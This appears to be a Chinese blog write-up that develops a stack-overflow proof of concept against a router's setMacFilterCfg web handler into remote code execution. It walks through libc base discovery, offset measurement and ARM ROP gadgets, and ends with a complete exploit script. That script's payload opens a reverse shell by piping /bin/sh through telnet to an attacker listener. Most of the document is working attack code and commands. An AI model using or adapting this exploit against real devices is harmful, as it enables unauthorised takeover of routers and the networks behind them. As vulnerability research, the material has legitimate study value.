首先我们拿到了一个路由器的栈溢出POC,漏洞详情就不在这说了,放在了github上:my github
poc:
from pwn import *
import requests
payload = cyclic(1000) # 1000-byte cyclic pattern to overflow buffer
url = "http://192.168.xxx.xxx/goform/setMacFilterCfg"
cookie = {"Cookie": "password=rfl1qw"}
data = {"macFilterType": "black", "deviceList": b"\r" + payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data) # Double POST to bypass potential checks
print(response.text)
获取deviceList参数时造成了溢出,我poc直接长度给的1000。
把栈溢出升级为RCE,思路是首先查看开启了哪些保护,确定溢出长度,找libc基址,然后找gadgets,打ROP链。
查看保护

arm架构,小端序,开了NX所以用shellcode比较麻烦,选择ROP。
找libc基址,进而找出system等函数地址
pwndbg调试:
路由器终端:sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd
调试终端(在pwndbg中用set命令设置好arm架构和小端序后):pwndbg> target remote :1234
然后调试终端即可连接上,使用vmmap命令查看内存分布:

虽然几个库都看不出来名字,但是凭经验和ida逆向看库的导入顺序,也能判断出第一个就是libc.so.0,即libc_base=0xff58b000
system和binsh直接用libc.sym+libc_base即可。
测量偏移
pwndbg用cyclic -l即可测出,溢出长度为176:


ROP1
在arm架构中,SP寄存器存栈顶指针(相当于x86的rsp),LR寄存器存返回地址(x86直接放栈上,没有返回地址寄存器),PC寄存器存的是下一条指令地址(相当于x86的rip),前四个参数地址放在R0~R3这四个寄存器中。
用ROPgadget可以找到下述gadget:

可以构造最简单的一条rop链:
payload2=cyclic(176)+p32(pop_r0_pc)+p32(binsh)+p32(system)
把binsh的地址弹给R0(第一个参数),把system地址弹给pc,这样下一条指令就是system(bin/sh),成功getshell:

但是这种shell跟我们之前打pwn题遇到的显然不一样,通常pwn题是靶机开了个端口,nc上去就能运行漏洞程序,成功getshell了也就相当于获得了靶机的shell。这里的情景并不是通过nc交互,而是通过http协议交互,就算漏洞程序被getshell也没办法在本地去用这个shell,所以需要反弹shell。但是问题来了,该如何把命令字符串的地址传给R0寄存器?下面进入第二条ROP链分析。
ROP2
命令字符串通常只能通过输入写在栈上,所以要想把命令字符串的地址传给R0,必须得有类似mov xxx,sp指令(pop不行,因为pop是传栈上的值,只有mov xxx,sp才是传栈地址),ROPgadget搜一下,有且仅有一个:

刚好是mov r0,sp,这样就不用再间接把值传给r0了。该指令记为gadget2。
由于该指令最后是 blx r3,所以接下来考虑如何把system函数地址传给r3,由于我们知道的就是system函数地址的值,所以可以直接pop:

有一个非常完美的gadget:pop{r3,pc},记为gadget1
所以思路是:一开始把返回地址覆盖为gadget1,然后gadget1把system函数地址pop给r3,把gadget2地址pop给pc,接下来执行gadget2,gadget2把此时的栈顶地址,即命令字符串所在处mov给r0传参,然后blx跳转到r3(system)执行,就能实现system(命令)了。
先试试puts:
payload = cyclic(176)+p32(pop_r3_pc)+p32(puts)+p32(mov_r0)+b”mov_r0_sp_blx_pc”

然后是反弹shell,由于该路由器没有bash和nc,可以用telnet或者wget传马的方式来反弹,这里使用telnet,一个终端监听5555端口,一个终端监听6666端口,分别用于输入命令和回显,payload为:
payload = cyclic(176)+p32(pop_r3_pc)+p32(system)+p32(mov_r0_sp_blx_pc)+b”telnet 192.168.xx.xxx 6666 | /bin/sh | telnet 192.168.xx.xxx 5555\x00″
成功反弹shell:

完整exp:
from pwn import *
import requests
url = "http://192.168.xxx.xxx/goform/setMacFilterCfg"
libc_base=0xff58b000
libc=ELF("libc.so.0")
print(hex(libc.sym['system']))
print(hex(libc.sym['puts']))
system=libc_base+libc.sym["system"]
binsh=libc_base+0x626d2
puts = libc_base+libc.sym['puts']
mov_r0_sp_blx_pc = libc_base+0x00040cb8 # mov r0, sp; blx r3;
pop_r3_pc = libc_base+0x00018298 # pop {r3, pc}
#payload = cyclic(176)+p32(pop_r3_pc)+p32(puts)+p32(mov_r0_sp_blx_pc)+b"hacked by n0ps1ed\x00"
payload = cyclic(176)+p32(pop_r3_pc)+p32(system)+p32(mov_r0_sp_blx_pc)+b"telnet 192.168.xxx.xxx 6666 | /bin/sh | telnet 192.168.xxx.xxx 5555\x00"
cookie = {"Cookie": "password=rfl1qw"}
data = {"macFilterType": "black", "deviceList": b"\r" + payload}
res = requests.post(url, cookies=cookie, data=data)
res = requests.post(url, cookies=cookie, data=data)
print(res.text)